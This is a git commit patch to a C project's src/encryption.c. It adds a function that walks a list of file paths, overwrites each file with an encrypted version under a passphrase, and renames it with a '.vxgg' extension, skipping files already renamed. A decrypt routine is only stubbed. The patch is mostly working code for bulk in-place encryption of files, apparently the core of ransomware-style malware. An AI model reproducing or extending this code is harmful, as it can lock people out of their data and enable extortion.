From 248f88a02aea778c989f9673dffe5ddf7b7f3ee3 Mon Sep 17 00:00:00 2001 From: "@syxhe" Date: Mon, 2 Sep 2024 22:26:32 -0500 Subject: Make the encrypt function less shitty --- src/encryption.c | 70 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 70 insertions(+) (limited to 'src/encryption.c') diff --git a/src/encryption.c b/src/encryption.c index 268b802..8f52e49 100644 --- a/src/encryption.c +++ b/src/encryption.c @@ -4,8 +4,13 @@ * Makes files unreadable, kinda. */ +#define _GNU_SOURCE +#define TESTING + +#include "ll.h" // Why the fuck did putting this before encryption.h fix my compilation problem #include "encryption.h" + #include #include #include @@ -17,6 +22,8 @@ #include #include +#include +#include // Encrypt a file (OVERWRITES FILE!) using a passphrase size_t passenc(int fd, const char *passphrase) { @@ -174,6 +181,69 @@ size_t passencblock(int fd, const char *passphrase) { return totalwritten; } +int rename_format(const char *fullpath, const char *format, ...) { + va_list ap; + va_start(ap, format); + + char *newname = NULL; int err = 0; + if((err = vasprintf(&newname, format, ap)) < 0) { + error(0, 0, " Could not create string for new file"); + return err; + } + + if((err = rename(fullpath, newname)) < 0) { + error(0, errno, " Could not rename file \"%s\" to \"%s\"", fullpath, newname); + return err; + } + + free(newname); + va_end(ap); + + return err; +} + + + +int encryptvxgg(const struct nodelist *list, const char *passphrase) { + int fd = -1; + + regex_t encext; + regcomp(&encext, "(.+\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE); + + // Encrypt everything + for(const struct nodelist *p = list; p != NULL; p = p->next) { + if(p->fullpath == NULL) // Make sure I don't accidentally do anything with that last element + continue; + if(regexec(&encext, p->fullpath, 0, NULL, 0) != REG_NOMATCH) // Don't encrypt already encrypted files + continue; + + fd = open(p->fullpath, O_RDWR); + if(fd < 0) { + #ifdef TESTING + error(0, errno, " Could not open \"%s\" for encryption", p->fullpath); + #endif + continue; + } + + passencblock(fd, passphrase); + close(fd); + #ifndef TESTING + rename_format(p->fullpath, "%s.vxgg", p->fullpath); + #else + rename_format(p->fullpath, "%s_%s.vxgg", p->fullpath, passphrase); + #endif + + } + + return 0; +} + +// int decryptvxgg(const struct nodelist *list, const char *passphrase) { + + +// return 0; +// } + /* int main() { int fd = open("test.txt", O_RDWR); -- cgit v1.2.3